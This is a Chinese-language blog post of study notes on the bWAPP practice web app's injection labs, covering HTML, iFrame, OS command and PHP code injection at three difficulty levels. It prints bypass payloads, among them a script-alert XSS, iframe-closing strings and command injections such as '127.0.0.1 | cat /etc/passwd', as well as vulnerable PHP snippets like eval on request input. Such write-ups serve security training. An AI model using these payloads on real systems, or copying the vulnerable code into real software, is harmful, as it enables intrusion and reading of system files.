hackerbwapp系列

bWAPP学习笔记 - A1 Injection (一)

2019-04-08  本文已影响0人  开口海螺

HTML Injection - Reflected (GET)

Level: Low

在低级难度,输入数据没有验证

First name: <h1>hello</h1>
Last name: <h1>world</h1>

也可以注入XSS <script>alert(0)</script>

Level: Medium

在中级难度,源码中做了简单的字符替换

// Converts only "<" and ">" to HTLM entities    
    $input = str_replace("<", "&lt;", $data);
    $input = str_replace(">", "&gt;", $input);

可以通过URL编码绕过

First name: %3Ch1%3Ehello%3C/h1%3E
Last name: %3Ch1%3Eworld%3C/h1%3E

Level: High

在高级难度,使用了htmlspecialchars()函数过滤

    return htmlspecialchars($data, ENT_QUOTES, $encoding);

无法直接绕过


HTML Injection - Reflected (POST)

html代码注入到页面中--通过POST方法

各个界别的绕过方法,与GET方法一致,仅仅是提交方式不同
不再列举


HTML Injection - Reflected (URL)

Level: Low

代码中没有过滤

$url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];

可以通过 Burp Suite 修改主机头,在路径中加入html代码

GET: /bWAPP/htmli_current_url.php#<h1>hello</h1>
Host: hello.world

HTML Injection - Reflected (URL)(Burp Suite)

显示结果:


Level: Medium/High 无法绕过

HTML Injection - Stored (Blog)

Level: Low

直接输入html语句即可:

<h1>hello</h1>

HTML Injection - Stored (Blog)(Low)
Level: Medium/High

代码已经加过滤:

<?php
}
while($row = $recordset->fetch_object())
{
if($_COOKIE["security_level"] == "1" or $_COOKIE["security_level"] == "2")
    {
?>
   <tr height="40">
            <td align="center"><?php echo $row->id; ?></td>
            <td><?php echo $row->owner; ?></td>
            <td><?php echo $row->date; ?></td>
            <td><?php echo xss_check_3($row->entry); ?></td>
   </tr>

iFrame Injection

Level: Low

查看页面源码,只需闭合iframe标签即可

<div id="main">
    <h1>iFrame Injection</h1>
    <iframe frameborder="0" src="robots.txt" height="250" width="250"></iframe>
</div>

提交URL,ParamUrl,ParamWidth,ParamHeight3个参数适当闭合即可:

比如:
ParamUrl=robots.txt"></iframe><h1>hello</h1><img src="0

iFrame Injectio(Low)
Level: Medium

源码中加入了addslashes,过滤掉单引号‘、双引号“和反斜杠\,但大部分html特殊字符代码依然可以使用
ParamWidth后面闭合<iframe>依然有效:

URL路径中,将ParamWith参数改为:

ParamWidth=250"></iframe><h2>hello</h2><!--
iFrame Injection(Medium)
Level: High

源码中使用了htmlspecialchars,没有绕过方案!


OS Command Injection

Level: Low

使用了shell_exec()函数,且没有过滤
在输入框中输入:

Windows:127.0.0.1 & dir c:
Linux: 127.0.0.1 & cat /etc/passwd

Level: Medium

源码中加了2行过滤:

$input = str_replace("&", "", $data);
$input = str_replace(";", "", $input);

使用 |可以绕过

Windows: 127.0.0.1 | dir c:
Linux:127.0.0.1 | cat /etc/passwd

Level: High

源码中使用了escapeshellcmd()函数,无法绕过!


OS Command Injection - Blind

原理与上一节相同,不同之处在于需要通过响应时间来判断命令是否运行成功

第一次测试:127.0.0.1


第二次测试:127.0.0.1|dir c:

第三次测试:127.0.0.1|!@#$%^

盲注的特点,需要结合执行时间来判断是否运行成功!


PHP Code Injection

Level: Low

源码如下:

<p><i>
    <?php @eval ("echo " . $_REQUEST["message"] . ";");?>
</i></p>

通过代码可以看到,输入的参数没有任何过滤,可以直接执行
在URL地址栏,message参数后,可直接输入php函数:

message=phpinfo()

phpinfo()
Level: Medium

源码如下:

<p><i>
    <?php echo htmlspecialchars($_REQUEST["message"], ENT_QUOTES, "UTF-8");;?>
</i></p>

可以看出仅显示输入内容,不能进行任何代码执行操作。
无法绕过!

上一篇下一篇

猜你喜欢

热点阅读